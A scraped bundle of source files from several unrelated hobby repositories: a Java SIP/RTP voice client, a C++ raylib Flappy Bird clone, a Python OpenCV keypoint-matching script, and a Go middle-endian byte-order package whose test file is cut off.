SourceDataLine auline;
private Position curPosition;
boolean local;
enum Position {
LEFT, RIGHT, NORMAL
};
public SoundSender(boolean isLocal, String file) {
this.filename = file;
Random r = new Random();
Integer port = 16010;
try {
DatagramSocket rtpSocket = new DatagramSocket(port);
DatagramSocket rtcpSocket = new DatagramSocket(port+1);
rtpSession = new RTPSession(rtpSocket, rtcpSocket);
rtpSession.RTPSessionRegister(this,null, null);
System.out.println("CNAME: " + rtpSession.CNAME());
} catch (Exception e) {
System.out.println(e);
System.out.println("RTPSession failed to obtain port");
}
this.local = isLocal;
}
public void receiveData(DataFrame dummy1, Participant dummy2) {
// We don't expect any data.
}
public void userEvent(int type, Participant[] participant) {
//Do nothing
}
public int frameSize(int payloadType) {
return 1;
}
@Override
public void run() {
if(RTPSession.rtpDebugLevel > 1) {
System.out.println("-> Run()");
}
File soundFile = new File(filename);
if (!soundFile.exists()) {
System.err.println("Wave file not found: " + filename);
return;
}
AudioInputStream audioInputStream = null;
try {
audioInputStream = AudioSystem.getAudioInputStream(soundFile);
} catch (UnsupportedAudioFileException e1) {
e1.printStackTrace();
return;
} catch (IOException e1) {
e1.printStackTrace();
return;
}
AudioFormat format = audioInputStream.getFormat();
System.out.println("This is the AUDIO FORMAT ORIGINAL ---->" + format.getEncoding()+ " "+ format.getSampleSizeInBits());
// AudioFormat.Encoding encoding = new AudioFormat.Encoding("PCM_SIGNED");
// format = new AudioFormat(AudioFormat.Encoding.PCM_SIGNED,((float) 8000.0), 8, 1, 2, ((float) 8000.0) ,true);
// format = new AudioFormat(AudioFormat.Encoding.ALAW,
// format.getSampleRate(),
// format.getSampleSizeInBits(),
// format.getChannels(),
// format.getFrameSize(),
// format.getFrameRate(),
// true);
System.out.println(format.toString());
// AudioInputStream targetInputStream = AudioSystem.getAudioInputStream(format, audioInputStream);
// if(! this.local) {
// // To time the output correctly, we also play at the input:
// auline = null;
// DataLine.Info info = new DataLine.Info(SourceDataLine.class, format);
//
// try {
// auline = (SourceDataLine) AudioSystem.getLine(info);
// auline.open(format);
// } catch (LineUnavailableException e) {
// e.printStackTrace();
// return;
// } catch (Exception e) {
// e.printStackTrace();
// return;
// }
//
// if (auline.isControlSupported(FloatControl.Type.PAN)) {
// FloatControl pan = (FloatControl) auline
// .getControl(FloatControl.Type.PAN);
// if (this.curPosition == Position.RIGHT)
// pan.setValue(1.0f);
// else if (this.curPosition == Position.LEFT)
// pan.setValue(-1.0f);
// }
//
//
// auline.start();
// }
int nBytesRead = 0;
byte[] abData = new byte[EXTERNAL_BUFFER_SIZE];
long start = System.currentTimeMillis();
// BooleanControl mute = (BooleanControl) auline.getControl(BooleanControl.Type.MUTE);
// mute.setValue(true);
try {
while (nBytesRead != -1 && pktCount < 2000) {
nBytesRead = audioInputStream.read(abData, 0, abData.length);
if (nBytesRead >= 0) {
long[] count = rtpSession.sendData(abData);
System.out.println("Send: " + count[0]);
// auline.write(abData, 0, abData.length);
pktCount++;
}
//System.out.println(pktCount);
// if(pktCount == 300) {
// Enumeration<Participant> iter = this.rtpSession.getParticipants();
// //System.out.println("iter " + iter.hasMoreElements());
// Participant p = null;
//
// while(iter.hasMoreElements()) {
// p = iter.nextElement();
//
// String name = "name";
// byte[] nameBytes = name.getBytes();
// String data= "abcd";
// byte[] dataBytes = data.getBytes();
//
//
// int ret = rtpSession.sendRTCPAppPacket(p.getSSRC(), 0, nameBytes, dataBytes);
// System.out.println("!!!!!!!!!!!! ADDED APPLICATION SPECIFIC " + ret);
// continue;
// }
// if(p == null)
// System.out.println("No participant with SSRC available :(");
// }
}
} catch (IOException e) {
e.printStackTrace();
return;
}
System.out.println("Time: " + (System.currentTimeMillis() - start)/1000 + " s");
try { Thread.sleep(200);} catch(Exception e) {}
this.rtpSession.endSession();
try { Thread.sleep(2000);} catch(Exception e) {
System.out.println("Exiting thread");
}
if(RTPSession.rtpDebugLevel > 1) {
System.out.println("<- Run()");
}
}
}
<file_sep>package sip;
import audio.ProcessVoiceChat;
import audio.SimpleVoiceTransmiter;
import audio.Test;
import auth.AccountManagerImpl;
import dto.PacketInfo;
import gov.nist.javax.sip.SipStackExt;
import gov.nist.javax.sip.clientauthutils.AuthenticationHelper;
import packet.SdpMessage;
import packet.SipMessage;
import utils.Utils;
import java.util.Properties;
import javax.sip.ClientTransaction;
import javax.sip.Dialog;
import javax.sip.DialogState;
import javax.sip.DialogTerminatedEvent;
import javax.sip.IOExceptionEvent;
import javax.sip.ListeningPoint;
import javax.sip.PeerUnavailableException;
import javax.sip.RequestEvent;
import javax.sip.ResponseEvent;
import javax.sip.ServerTransaction;
import javax.sip.SipFactory;
import javax.sip.SipListener;
import javax.sip.SipProvider;
import javax.sip.SipStack;
import javax.sip.TransactionTerminatedEvent;
import javax.sip.address.AddressFactory;
import javax.sip.header.*;
import javax.sip.message.MessageFactory;
import javax.sip.message.Request;
import javax.sip.message.Response;
/**
* This class is a UAC template. Shootist is the guy that shoots and shootme is
* the guy that gets shot.
*
* @author <NAME>
* @author <NAME>
*/
public class ShootistAuth implements SipListener {
private static SipProvider sipProvider;
private static AddressFactory addressFactory;
private static MessageFactory messageFactory;
private static HeaderFactory headerFactory;
private static SipStack sipStack;
private ListeningPoint udpListeningPoint;
private ClientTransaction inviteTid;
private Dialog dialog;
private PacketInfo sender;
private String receiverName;
private SipMessage sipMessage;
public ShootistAuth(PacketInfo packetInfo, String receiverName) {
this.sender = packetInfo;
this.receiverName = receiverName;
}
public void processRequest(RequestEvent requestReceivedEvent) {
Request request = requestReceivedEvent.getRequest();
ServerTransaction serverTransactionId = requestReceivedEvent
.getServerTransaction();
System.out.println("\n\nRequest " + request.getMethod()
+ " received at " + sipStack.getStackName()
+ " with server transaction id " + serverTransactionId);
// We are the UAC so the only request we get is the BYE.
if (request.getMethod().equals(Request.BYE))
processBye(request, serverTransactionId);
}
public void processBye(Request request, ServerTransaction serverTransactionId) {
try {
System.out.println("shootist: got a bye .");
if (serverTransactionId == null) {
System.out.println("shootist: null TID.");
return;
}
Dialog dialog = serverTransactionId.getDialog();
System.out.println("Dialog State = " + dialog.getState());
Response response = messageFactory.createResponse(200, request);
serverTransactionId.sendResponse(response);
System.out.println("shootist: Sending OK.");
System.out.println("Dialog State = " + dialog.getState());
} catch (Exception ex) {
ex.printStackTrace();
}
}
public void processResponse(ResponseEvent responseReceivedEvent) {
System.out.println("Got a response");
Response response = (Response) responseReceivedEvent.getResponse();
ClientTransaction tid = responseReceivedEvent.getClientTransaction();
CSeqHeader cseq = (CSeqHeader) response.getHeader(CSeqHeader.NAME);
System.out.println("Response received : Status Code = "
+ response.getStatusCode() + " " + response);
if (tid == null) {
System.out.println("Stray response -- dropping ");
return;
}
try {
if (response.getStatusCode() == Response.OK) {
if (cseq.getMethod().equals(Request.REGISTER)) {
CallIdHeader callIdHeader = (CallIdHeader) response.getHeader(CallIdHeader.NAME);
Request request = this.sipMessage.createInvite(this.sender, this.receiverName, callIdHeader.getCallId());
// Create the client transaction.
inviteTid = sipProvider.getNewClientTransaction(request);
// send the request out.
inviteTid.sendRequest();
System.out.println("INVITE sent:\n" + request);
dialog = inviteTid.getDialog();
}
if (cseq.getMethod().equals(Request.INVITE)) {
int port = SdpMessage.getVoicePortSDPMessage((byte[]) response.getContent());
Dialog dialog = inviteTid.getDialog();
Request ackRequest = dialog.createAck(cseq.getSeqNumber());
System.out.println("Sending ACK");
dialog.sendAck(ackRequest);
sendRtpAudio(port);
}
if (cseq.getMethod().equals(Request.CANCEL)) {
if (dialog.getState() == DialogState.CONFIRMED) {
// oops cancel went in too late. Need to hang up the
// dialog.
System.out.println("Sending BYE -- cancel went in too late !!");
Request byeRequest = dialog.createRequest(Request.BYE);
ClientTransaction ct = sipProvider.getNewClientTransaction(byeRequest);
dialog.sendRequest(ct);
}
}
} else if (response.getStatusCode() == Response.PROXY_AUTHENTICATION_REQUIRED
|| response.getStatusCode() == Response.UNAUTHORIZED) {
AuthenticationHelper authenticationHelper =
((SipStackExt) sipStack).getAuthenticationHelper(
new AccountManagerImpl(this.sender.getUsername(), this.sender.getSipHost(), this.sender.getPassword()), headerFactory);
inviteTid = authenticationHelper.handleChallenge(response, tid, sipProvider, 5);
inviteTid.sendRequest();
SipMessage.invco++;
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
public void sendRtpAudio(int port) throws Exception {
SimpleVoiceTransmiter audioTest = new SimpleVoiceTransmiter("C:\\project\\SipClientExample\\samplemedia\\gulp2.wav", this.sender.getSipHost(), port);
audioTest.run();
// ProcessVoiceChat processVoiceChat = new ProcessVoiceChat(this.sender.getSipHost(), port, 16010);
// Test test = new Test();
// test.run(port);
}
public void processTimeout(javax.sip.TimeoutEvent timeoutEvent) {
System.out.println("Transaction Time out");
}
public void sendCancel() {
try {
System.out.println("Sending cancel");
Request cancelRequest = inviteTid.createCancel();
ClientTransaction cancelTid = sipProvider
.getNewClientTransaction(cancelRequest);
cancelTid.sendRequest();
} catch (Exception ex) {
ex.printStackTrace();
}
}
public void init() {
SipFactory sipFactory = null;
sipStack = null;
sipFactory = SipFactory.getInstance();
sipFactory.setPathName("gov.nist");
Properties properties = new Properties();
properties.setProperty("javax.sip.STACK_NAME", "myStack");
try {
// Create SipStack object
sipStack = sipFactory.createSipStack(properties);
System.out.println("createSipStack " + sipStack);
} catch (PeerUnavailableException e) {
e.printStackTrace();
System.err.println(e.getMessage());
}
try {
headerFactory = sipFactory.createHeaderFactory();
addressFactory = sipFactory.createAddressFactory();
messageFactory = sipFactory.createMessageFactory();
udpListeningPoint = sipStack.createListeningPoint(Utils.getIPLocal(),
5060, "udp");
sipProvider = sipStack.createSipProvider(udpListeningPoint);
ShootistAuth listener = this;
sipProvider.addSipListener(listener);
} catch (PeerUnavailableException e) {
e.printStackTrace();
System.err.println(e.getMessage());
} catch (Exception e) {
System.out.println("Creating Listener Points");
System.out.println(e.getMessage());
e.printStackTrace();
}
try {
this.sipMessage = new SipMessage(sipProvider, addressFactory, messageFactory, headerFactory, sipStack);
System.out.println("ShootistAuth Process ");
Request request = this.sipMessage.createRegister(this.sender);
// Create the client transaction.
inviteTid = sipProvider.getNewClientTransaction(request);
// send the request out.
inviteTid.sendRequest();
System.out.println("REGISTER with no Authorization sent:\n" + request);
dialog = inviteTid.getDialog();
} catch (Exception e) {
System.out.println("Creating call CreateInvite()");
System.out.println(e.getMessage());
e.printStackTrace();
}
}
public static void main(String args[]) {
PacketInfo sender = new PacketInfo("17999901", "04731747", "172.16.17.32", 5060);
String callId = "84903458461";
// PacketInfo sender = new PacketInfo("milete02", "milete02", "sip.linphone.org", 5060);
// String callId = "milete01";
new ShootistAuth(sender, callId).init();
}
public void processIOException(IOExceptionEvent exceptionEvent) {
System.out.println("IOException happened for "
+ exceptionEvent.getHost() + " port = "
+ exceptionEvent.getPort());
}
public void processTransactionTerminated(
TransactionTerminatedEvent transactionTerminatedEvent) {
System.out.println("Transaction terminated event recieved");
}
public void processDialogTerminated(
DialogTerminatedEvent dialogTerminatedEvent) {
System.out.println("dialogTerminatedEvent");
}
}
|
265a4e72d4015d752efcadcbf8d892ddc779b5ae
|
[
"Java"
] | 5 |
Java
|
tungmaisudo/SipClientExample
|
ce9c5ccab16e988badf5ed85edd4b3c66466141b
|
f92ccb225acebcc38b4a5d3767f0b0e59027c758
|
refs/heads/main
|
<repo_name>pancho404/Desarrollo-FlappyBird<file_sep>/FlappyBird/assets.h
#pragma once
const char kannaFilepath[] = "res/kanna.png";<file_sep>/FlappyBird/Obstacle.h
#pragma once
#include "raylib.h"
class Obstacle
{
private:
Rectangle upperRec;
Rectangle lowerRec;
Rectangle gap;
public:
Obstacle();
~Obstacle();
void setRec(Rectangle rec, float x, float y, float width, float height);
};
<file_sep>/FlappyBird/Credits.cpp
#include "Credits.h"
Credits::Credits()
{
this->backButton = new Button(200.0f, 60.0f, 1280 / 2 - 100.0f, 720 - 200.0f, BLUE, RED);
}
void Credits::setSceneManager(sceneManager* manager)
{
this->manager = manager;
}
Credits::~Credits()
{
delete backButton;
}
void Credits::creditsUpdate()
{
if (backButton->isButtonPressed())
{
manager->changeScene(Scene::MainMenu);
}
}
void Credits::creditsDraw()
{
BeginDrawing();
ClearBackground(DARKGREEN);
DrawTextEx(GetFontDefault(), "Dev: <NAME>", { (float)GetScreenWidth() / 4, (float)GetScreenHeight() / 6 }, 30.0f, 5.0f, YELLOW);
DrawTextEx(GetFontDefault(), "Art: Nashe", { (float)GetScreenWidth() / 4, (float)GetScreenHeight() / 6 + (float)GetScreenHeight() / 6 }, 30.0f, 5.0f, YELLOW);
DrawTextEx(GetFontDefault(), "Voice: <NAME>", { (float)GetScreenWidth() / 4, (float)GetScreenHeight() / 6 + ((float)GetScreenHeight() / 6)*2 }, 30.0f, 5.0f, YELLOW);
backButton->drawButton();
DrawTextEx(GetFontDefault(), "Back", { backButton->getButtonX() + 30.0f, backButton->getButtonY() }, 60.0f, 5.0f, YELLOW);
EndDrawing();
}
<file_sep>/FlappyBird/game.h
#pragma once
#include "raylib.h"
#include "sceneManager.h"
#include "Credits.h"
#include "MainMenu.h"
#include "Play.h"
void playGame();<file_sep>/FlappyBird/Play.h
#pragma once
#include "sceneManager.h"
#include "Player.h"
class Play
{
private:
sceneManager* manager;
Player* player;
public:
Play();
~Play();
void setSceneManager(sceneManager* manager);
void playUpdate();
void playDraw();
};
<file_sep>/FlappyBird/sceneManager.h
#pragma once
enum class Scene {MainMenu, Credits, Play, Exit};
class sceneManager
{
private:
Scene currentScene;
public:
sceneManager();
~sceneManager();
Scene getCurrentScene();
void changeScene(Scene scene);
};
<file_sep>/FlappyBird/Player.h
#pragma once
#include "raylib.h"
#include "assets.h"
class Player
{
private:
Rectangle collider;
Texture2D avatar;
float speed;
public:
Player(float x, float y, float width, float height, float speed);
~Player();
void setPlayerAvatar();
void setPlayerCollider(float x, float y, float width, float height);
void setPlayerSpeed(float speed);
Texture2D getPlayerAvatar();
Rectangle getPlayerRectangle();
float getPlayerColliderX();
float getPlayerColliderY();
float getPlayerColliderWidth();
float getPlayerColliderHeight();
float getPlayerSpeed();
void movePlayer();
void drawPlayer();
};
<file_sep>/FlappyBird/Player.cpp
#include "Player.h"
Player::Player(float x, float y, float width, float height, float speed)
{
setPlayerCollider(x, y, width, height);
avatar = LoadTexture("res/kanna1.png");
setPlayerAvatar();
setPlayerSpeed(speed);
}
Player::~Player()
{
UnloadTexture(avatar);
}
void Player::setPlayerAvatar()
{
avatar.width = collider.width;
avatar.height = collider.height;
}
void Player::setPlayerCollider(float x, float y, float width, float height)
{
this->collider.x = x;
this->collider.y = y;
this->collider.width = width;
this->collider.height = height;
}
void Player::setPlayerSpeed(float speed)
{
this->speed = speed;
}
Texture2D Player::getPlayerAvatar()
{
return avatar;
}
Rectangle Player::getPlayerRectangle()
{
return collider;
}
float Player::getPlayerColliderX()
{
return collider.x;
}
float Player::getPlayerColliderY()
{
return collider.y;
}
float Player::getPlayerColliderWidth()
{
return collider.width;
}
float Player::getPlayerColliderHeight()
{
return collider.height;
}
float Player::getPlayerSpeed()
{
return speed;
}
void Player::movePlayer()
{
if (IsKeyDown(KEY_SPACE))
{
collider.y -= speed * GetFrameTime();
}
else
{
collider.y += speed * GetFrameTime();
}
}
void Player::drawPlayer()
{
DrawRectangleRec(collider, BLUE);
//DrawTexture(avatar, collider.x, collider.y, WHITE);
DrawTextureRec(avatar, collider, { collider.x, collider.y }, WHITE);
}
<file_sep>/FlappyBird/sceneManager.cpp
#include "sceneManager.h"
#include "Credits.h"
sceneManager::sceneManager()
{
currentScene = Scene::MainMenu;
}
sceneManager::~sceneManager()
{
}
Scene sceneManager::getCurrentScene()
{
return currentScene;
}
void sceneManager::changeScene(Scene scene)
{
currentScene = scene;
}<file_sep>/FlappyBird/main.cpp
#include "game.h"
void main()
{
playGame();
}<file_sep>/FlappyBird/Credits.h
#pragma once
#include "button.h"
#include "sceneManager.h"
class Credits
{
private:
sceneManager* manager;
Button* backButton;
public:
Credits();
~Credits();
void setSceneManager(sceneManager* manager);
void creditsUpdate();
void creditsDraw();
};
<file_sep>/FlappyBird/MainMenu.cpp
#include "MainMenu.h"
MainMenu::MainMenu()
{
this->playButton = new Button(200.0f, 60.0f, 1280 / 2 - 100.0f, 720 - 300.0f, BLUE, RED);
this->creditsButton = new Button(260.0f, 60.0f, 1280 / 2 - 130.0f, 720 - 200.0f, BLUE, RED);
this->exitButton = new Button(200.0f, 60.0f, 1280 / 2 - 100.0f, 720 - 100.0f, BLUE, RED);
}
MainMenu::~MainMenu()
{
delete playButton;
delete creditsButton;
delete exitButton;
}
void MainMenu::setSceneManager(sceneManager* manager)
{
this->manager = manager;
}
void MainMenu::mainMenuUpdate()
{
if (playButton->isButtonPressed())
{
manager->changeScene(Scene::Play);
}
else if (creditsButton->isButtonPressed())
{
manager->changeScene(Scene::Credits);
}
else if (exitButton->isButtonPressed())
{
manager->changeScene(Scene::Exit);
}
}
void MainMenu::mainMenuDraw()
{
BeginDrawing();
ClearBackground(DARKGREEN);
playButton->drawButton();
DrawTextEx(GetFontDefault(), "Play", { playButton->getButtonX() + 40.0f, playButton->getButtonY() }, 60.0f, 5.0f, YELLOW);
creditsButton->drawButton();
DrawTextEx(GetFontDefault(), "Credits", { creditsButton->getButtonX() + 30.0f, creditsButton->getButtonY() }, 60.0f, 5.0f, YELLOW);
exitButton->drawButton();
DrawTextEx(GetFontDefault(), "Exit", { exitButton->getButtonX() + 40.0f, exitButton->getButtonY() }, 60.0f, 5.0f, YELLOW);
EndDrawing();
}<file_sep>/FlappyBird/MainMenu.h
#pragma once
#include "button.h"
#include "sceneManager.h"
class MainMenu
{
private:
sceneManager* manager;
Button* playButton;
Button* creditsButton;
Button* exitButton;
public:
MainMenu();
~MainMenu();
void setSceneManager(sceneManager* manager);
void mainMenuUpdate();
void mainMenuDraw();
};
<file_sep>/FlappyBird/button.h
#pragma once
#include <iostream>
#include "raylib.h"
class Button
{
private:
Rectangle buttonRec;
Color buttonColor;
Color secondaryColor;
public:
Button(float width, float height, int x, int y, Color buttonColor, Color secondaryColor);
~Button();
Rectangle getButtonRec();
float getButtonWidth();
float getButtonHeight();
float getButtonX();
float getButtonY();
Color getButtonColor();
void drawButton();
bool isMouseOnButton();
bool isButtonPressed();
};
<file_sep>/FlappyBird/game.cpp
#include "game.h"
void playGame()
{
const int windowWidth = 1280;
const int windowHeight = 720;
sceneManager* manager = new sceneManager();
MainMenu* mainMenuScene = new MainMenu();
Credits* creditsScene = new Credits();
Play* playScene = new Play();
bool mainMenuInited = false;
bool creditsInited = false;
bool playInited = false;
manager->changeScene(Scene::MainMenu);
InitWindow(windowWidth, windowHeight, "Flappy Loli");
while (!WindowShouldClose())
{
switch (manager->getCurrentScene())
{
case Scene::MainMenu:
if (!mainMenuInited)
{
mainMenuScene->setSceneManager(manager);
mainMenuInited = true;
}
mainMenuScene->mainMenuUpdate();
mainMenuScene->mainMenuDraw();
break;
case Scene::Credits:
if (!creditsInited)
{
creditsScene->setSceneManager(manager);
creditsInited = true;
}
creditsScene->creditsUpdate();
creditsScene->creditsDraw();
break;
case Scene::Play:
if (!playInited)
{
playScene->setSceneManager(manager);
playInited = true;
}
playScene->playUpdate();
playScene->playDraw();
break;
case Scene::Exit:
break;
default:
break;
}
}
delete manager;
delete creditsScene;
delete mainMenuScene;
delete playScene;
}<file_sep>/FlappyBird/Play.cpp
#include "Play.h"
Play::Play()
{
player = new Player(10.0f, GetScreenHeight() / 2, 30.0f, 50.0f, 250.0f);
}
Play::~Play()
{
delete player;
}
void Play::setSceneManager(sceneManager* manager)
{
this->manager = manager;
}
void Play::playUpdate()
{
player->movePlayer();
}
void Play::playDraw()
{
BeginDrawing();
ClearBackground(DARKBLUE);
player->drawPlayer();
EndDrawing();
}<file_sep>/FlappyBird/button.cpp
#include "button.h"
Button::Button(float width, float height, int x, int y, Color buttonColor, Color secondaryColor)
{
this->buttonRec.width = width;
this->buttonRec.height = height;
this->buttonRec.x = x;
this->buttonRec.y = y;
this->buttonColor = buttonColor;
this->secondaryColor = secondaryColor;
}
Button::~Button()
{
}
Rectangle Button::getButtonRec()
{
return buttonRec;
}
float Button::getButtonWidth()
{
return buttonRec.width;
}
float Button::getButtonHeight()
{
return buttonRec.height;
}
float Button::getButtonX()
{
return buttonRec.x;
}
float Button::getButtonY()
{
return buttonRec.y;
}
Color Button::getButtonColor()
{
return buttonColor;
}
void Button::drawButton()
{
if (!isMouseOnButton())
{
DrawRectangle(buttonRec.x, buttonRec.y, buttonRec.width, buttonRec.height, buttonColor);
}
else
{
DrawRectangle(buttonRec.x, buttonRec.y, buttonRec.width, buttonRec.height, secondaryColor);
}
}
bool Button::isMouseOnButton()
{
if (CheckCollisionPointRec(GetMousePosition(), buttonRec))
{
return true;
}
else
{
return false;
}
}
bool Button::isButtonPressed()
{
if (isMouseOnButton() && IsMouseButtonPressed(MOUSE_LEFT_BUTTON))
{
return true;
}
}
|
b99f7351027d0bbf18d1bdc01533c3ebd51aea63
|
[
"C",
"C++"
] | 17 |
C
|
pancho404/Desarrollo-FlappyBird
|
e634d8ba2a48506ec00d3d79d2c666c9fd47af84
|
e06f1cb77c891e4ac1f97ece1e9c8bf1d7ba4aed
|
refs/heads/master
|
<file_sep>#ifndef TABLERO_H
#define TABLERO_H
class Tablero
{
private:
//vector<vector< "algo" > > //matriz
public:
Tablero();
~Tablero();
};
#endif // TABLERO_H
<file_sep>#include "coche.h"
Coche::Coche()
{
}
<file_sep>#ifndef COCHE_H
#define COCHE_H
class Coche
{
public:
Coche();
~Coche();
};
#endif // COCHE_H
|
3a52c6d219469441a11cf8dacbcb437738b5b664
|
[
"C++"
] | 3 |
C++
|
PanchoMen/ICar
|
c49fdfdb122b4a978dfd7b7a7ad719fccbd161b4
|
83dd64012359d3ef2630cb3700ff712b9c58db24
|
refs/heads/master
|
<file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Feb 25 12:26:02 2020
@author: sanan
"""
import matplotlib.pyplot as plt
import cv2
import numpy as np
def draw_keypoints(kp, img):
sift_img = cv2.drawKeypoints(img, kp, np.array([]), flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)
return sift_img
def matcher(img1, img2, kp1, des1, kp2, des2, text):
#kp1, des1 = sift(img1)
kp_img1 = draw_keypoints(kp1, img1)
#kp2,des2 = sift(img2)
kp_img2 = draw_keypoints(kp2, img2)
# BFMatcher with default params
bf = cv2.BFMatcher()
matches = bf.knnMatch(des1, des2, k=2)
# Apply ratio test
good = []
for m,n in matches:
if m.distance < 0.75*n.distance:
good.append([m])
# cv.drawMatchesKnn expects list of lists as matches.
bf_img = cv2.drawMatchesKnn(img1, kp1, img2, kp2, good[:10], None, flags=cv2.DrawMatchesFlags_NOT_DRAW_SINGLE_POINTS)
fig = plt.figure(figsize=(11,11))
a = fig.add_subplot(2, 2, 1)
a.set_title("Image 1")
plt.imshow(img1)
a = fig.add_subplot(2, 2, 2)
a.set_title(text)
plt.imshow(kp_img1)
a = fig.add_subplot(2, 2, 3)
a.set_title("Image 2")
plt.imshow(img2)
a = fig.add_subplot(2, 2, 4)
a.set_title(text)
plt.imshow(kp_img2)
fig2 = plt.figure(figsize=(12,12))
a = fig2.add_subplot(1, 1, 1)
a.set_title("BF Matcher")
plt.imshow(bf_img)
def sift(img1, img2):
sift = cv2.xfeatures2d.SIFT_create()
kp1, des1 = sift.detectAndCompute(img1,None)
kp2, des2 = sift.detectAndCompute(img2,None)
matcher(img1, img2, kp1, des1, kp2, des2, "SIFT Keypoints")
def surf(img1, img2):
surf = cv2.xfeatures2d.SURF_create(400)
kp1, des1 = surf.detectAndCompute(img1,None)
kp2, des2 = surf.detectAndCompute(img2,None)
matcher(img1, img2, kp1, des1, kp2, des2, "SURF Keypoints")
def brief(img1, img2):
# Initiate FAST detector
star = cv2.xfeatures2d.StarDetector_create()
# Initiate BRIEF extractor
brief = cv2.xfeatures2d.BriefDescriptorExtractor_create()
# find the keypoints with STAR
kp1 = star.detect(img1,None)
kp2 = star.detect(img2,None)
# compute the descriptors with BRIEF
kp1, des1 = brief.compute(img1, kp1)
kp2, des2 = brief.compute(img2, kp2)
matcher(img1, img2, kp1, des1, kp2, des2, "BREIF Keypoints")
def orb(img1, img2):
# Initiate ORB detector
orb = cv2.ORB_create()
# find the keypoints with ORB
kp1 = orb.detect(img1,None)
kp2 = orb.detect(img2,None)
# compute the descriptors with ORB
kp1, des1 = orb.compute(img1, kp1)
kp2, des2 = orb.compute(img2, kp2)
matcher(img1, img2, kp1, des1, kp2, des2, "ORB Keypoints")
img1 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\book.jpg')
img2 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\book_person_holding.jpg')
sift(img1, img2)
surf(img1, img2)
brief(img1, img2)
orb(img1, img2)
img1 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\roma_1.jpg')
img2 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\roma_2.jpg')
sift(img1, img2)
surf(img1, img2)
brief(img1, img2)
orb(img1, img2)
img1 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\building_1.jpg')
img2 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\building_2.jpg')
img3 = cv2.imread('D:\\NUST\\8th Semester\\Computer Vision\\Labs\\Assignment 1\\building_3.jpg')
sift(img1, img2)
surf(img1, img2)
brief(img1, img2)
orb(img1, img2)
sift(img1, img3)
surf(img1, img3)
brief(img1, img3)
orb(img1, img3)
sift(img2, img3)
surf(img2, img3)
brief(img2, img3)
orb(img2, img3)
|
dafc253a6ca817858dd8a037705b9e0881ca8f88
|
[
"Python"
] | 1 |
Python
|
snaz268/Computer-Vision
|
883c6693e1949f8f4a4422021ad9205baff5ce53
|
b53c3bc27354b994de4624323e9092cd19fb318c
|
refs/heads/master
|
<file_sep>// Copyright 2015-2016 <NAME>.
//
// Permission to use, copy, modify, and/or distribute this software for any
// purpose with or without fee is hereby granted, provided that the above
// copyright notice and this permission notice appear in all copies.
//
// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHORS DISCLAIM ALL WARRANTIES
// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY
// SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
// OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
// CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
//! Constant-time operations.
extern crate subtle;
use error;
/// Returns `Ok(())` if `a == b` and `Err(error::Unspecified)` otherwise.
/// The comparison of `a` and `b` is done in constant time.
pub fn verify_slices_are_equal(a: &[u8], b: &[u8])
-> Result<(), error::Unspecified> {
if a.len() != b.len() {
return Err(error::Unspecified);
}
match subtle::slices_equal(a, b) {
1 => Ok(()),
_ => Err(error::Unspecified),
}
}
|
849492b926d63aaa2415d73fa682c4c449bef17f
|
[
"Rust"
] | 1 |
Rust
|
Aaronepower/ring
|
481bac54257a33bd889f6db71d360cf13ac9548b
|
d28a1e235aa45ed4e9a60c0c2f10466462da490f
|
refs/heads/master
|
<file_sep>endian
======
[](https://circleci.com/gh/stny/endian)
A middle-endian (16-bit little-endian) package.
Installation
------------
```
$ go get github.com/stny/endian
```
<file_sep>// Copyright (c) 2014 <NAME>
package endian
var MiddleEndian middleEndian
type middleEndian struct{}
func (middleEndian) Uint16(b []byte) uint16 {
return uint16(b[0]) | uint16(b[1])<<8
}
func (middleEndian) PutUint16(b []byte, v uint16) {
b[0] = byte(v)
b[1] = byte(v >> 8)
}
func (middleEndian) Uint32(b []byte) uint32 {
return uint32(b[2]) | uint32(b[3])<<8 | uint32(b[0])<<16 | uint32(b[1])<<24
}
func (middleEndian) PutUint32(b []byte, v uint32) {
b[0] = byte(v >> 16)
b[1] = byte(v >> 24)
b[2] = byte(v)
b[3] = byte(v >> 8)
}
func (middleEndian) Uint64(b []byte) uint64 {
return uint64(b[6]) | uint64(b[7])<<8 | uint64(b[4])<<16 | uint64(b[5])<<24 |
uint64(b[2])<<32 | uint64(b[3])<<40 | uint64(b[0])<<48 | uint64(b[1])<<56
}
func (middleEndian) PutUint64(b []byte, v uint64) {
b[0] = byte(v >> 48)
b[1] = byte(v >> 56)
b[2] = byte(v >> 32)
b[3] = byte(v >> 40)
b[4] = byte(v >> 16)
b[5] = byte(v >> 24)
b[6] = byte(v)
b[7] = byte(v >> 8)
}
func (middleEndian) String() string { return "MiddleEndian" }
<file_sep>// Copyright (c) 2014 <NAME>
//
// Originally code is:
// Copyright (c) 2009 The Go Authors.
// Released under the BSD License.
package endian
import (
"bytes"
"encoding/binary"
"math"
"reflect"
"testing"
)
type Struct struct {
Int8 int8
Int16 int16
Int32 int32
Int64 int64
Uint8 uint8
Uint16 uint16
Uint32 uint32
Uint64 uint64
Float32 float32
Float64 float64
Complex64 complex64
Complex128 complex128
Array [4]uint8
}
var s = Struct{
0x01,
0x0203,
0x04050607,
0x08090a0b0c0d0e0f,
0x10,
0x1112,
0x13141516,
0x1718191a1b1c1d1e,
math.Float32frombits(0x1f202122),
math.Float64frombits(0x232425262728292a),
complex(
math.Float32frombits(0x2b2c2d2e),
math.Float32frombits(0x2f303132),
),
complex(
math.Float64frombits(0x333435363738393a),
